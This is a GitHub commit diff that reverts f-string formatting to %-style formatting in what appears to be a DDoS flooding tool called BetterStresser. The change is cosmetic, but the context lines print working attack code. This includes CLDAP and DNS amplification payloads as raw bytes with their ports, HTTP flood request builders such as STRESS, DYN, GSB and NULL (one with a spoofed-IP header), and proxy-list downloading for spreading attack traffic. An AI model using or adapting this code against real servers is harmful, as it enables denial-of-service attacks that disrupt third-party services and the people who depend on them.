Revert "Fixed Legacy code formatting To f-string format"

This commit is contained in:
SudoLite 2022-03-17 11:27:45 +03:30 committed by GitHub
parent 6c4c8ee99d
commit b6f1d9024b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -134,7 +134,7 @@ class Tools:
suffix = MULTIPLES[multiple].format("i" if binary else "")
return f"{value:.{precision}f} {suffix}"
else:
return "-- B"
return f"-- B"
@staticmethod
def humanformat(num: int, precision: int = 2):
@ -307,9 +307,8 @@ class Layer4(Thread):
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
if name == "CLDAP":
self._amp_payload = (b'\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00',
b'\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00',
389)
self._amp_payload = (b'\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00'
b'\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00', 389)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
if name == "MEM":
@ -331,9 +330,8 @@ class Layer4(Thread):
self._amp_payloads = cycle(self._generate_amp())
if name == "DNS":
self._amp_payload = (
b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00',
b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00',
53)
b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00'
b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00', 53)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
@ -577,7 +575,7 @@ class HttpFlood(Thread):
def generate_payload(self, other: str = None) -> bytes:
return str.encode((self._payload +
f"Host: {self._target.authority}\r\n" +
"Host: %s\r\n" % self._target.authority +
self.randHeadercontent +
(other if other else "") +
"\r\n"))
@ -629,7 +627,7 @@ class HttpFlood(Thread):
def STRESS(self) -> None:
payload: bytes = self.generate_payload(
("Content-Length: 524\r\n"
(f"Content-Length: 524\r\n"
"X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/json\r\n\r\n"
'{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
@ -805,7 +803,8 @@ class HttpFlood(Thread):
def DYN(self):
payload: Any = str.encode(self._payload +
f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" +
"Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority) +
self.randHeadercontent +
"\r\n")
s = None
with suppress(Exception), self.open_connection() as s:
@ -849,8 +848,10 @@ class HttpFlood(Thread):
Tools.safe_close(s)
def GSB(self):
payload = str.encode(f"{self._req_type} {self._target.raw_path_qs}?qs={ProxyTools.Random.rand_str(6)} HTTP/1.1\r\n" +
f"Host: {self._target.authority}\r\n" +
payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
self._target.raw_path_qs,
ProxyTools.Random.rand_str(6)) +
"Host: %s\r\n" % self._target.authority +
self.randHeadercontent +
'Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n'
@ -871,7 +872,7 @@ class HttpFlood(Thread):
def NULL(self) -> None:
payload: Any = str.encode(self._payload +
f"Host: {self._target.authority}\r\n" +
"Host: %s\r\n" % self._target.authority +
"User-Agent: null\r\n" +
"Referrer: null\r\n" +
self.SpoofIP + "\r\n")
@ -948,7 +949,7 @@ class HttpFlood(Thread):
self.SENT_FLOOD = self.PPS
self._defaultpayload = (
self._defaultpayload +
f"Host: {self._target.authority}\r\n\r\n").encode()
"Host: %s\r\n\r\n" % self._target.authority).encode()
if name == "EVEN": self.SENT_FLOOD = self.EVEN
if name == "DOWNLOADER": self.SENT_FLOOD = self.DOWNLOADER
if name == "BOMB": self.SENT_FLOOD = self.BOMB
@ -991,7 +992,8 @@ class ProxyManager:
data.splitlines(), proxy_type):
proxes.add(proxy)
except Exception as e:
logger.error(f'Download Proxy Error: {(e.__str__() or e.__repr__())}')
logger.error('Download Proxy Error: %s' %
(e.__str__() or e.__repr__()))
return proxes
@ -1007,7 +1009,7 @@ class ToolsConsole:
@staticmethod
def runConsole():
cons = f"{gethostname()}@BetterStresser:~#"
cons = "%s@BetterStresser:~#" % gethostname()
while 1:
cmd = input(cons + " ").strip()
@ -1034,7 +1036,7 @@ class ToolsConsole:
continue
if not {cmd} & ToolsConsole.METHODS:
print(f"{cmd} command not found")
print("%s command not found" % cmd)
continue
if cmd == "DSTAT":
@ -1148,8 +1150,8 @@ class ToolsConsole:
print('please wait ...', end="\r")
info = ToolsConsole.ts_srv(domain)
logger.info(f"TCP: {(info['_tsdns._tcp.'])}\n")
logger.info(f"UDP: {(info['_ts3._udp.'])}\n")
logger.info("TCP: %s\n" % (info['_tsdns._tcp.']))
logger.info("UDP: %s\n" % (info['_ts3._udp.']))
if cmd == "PING":
while True: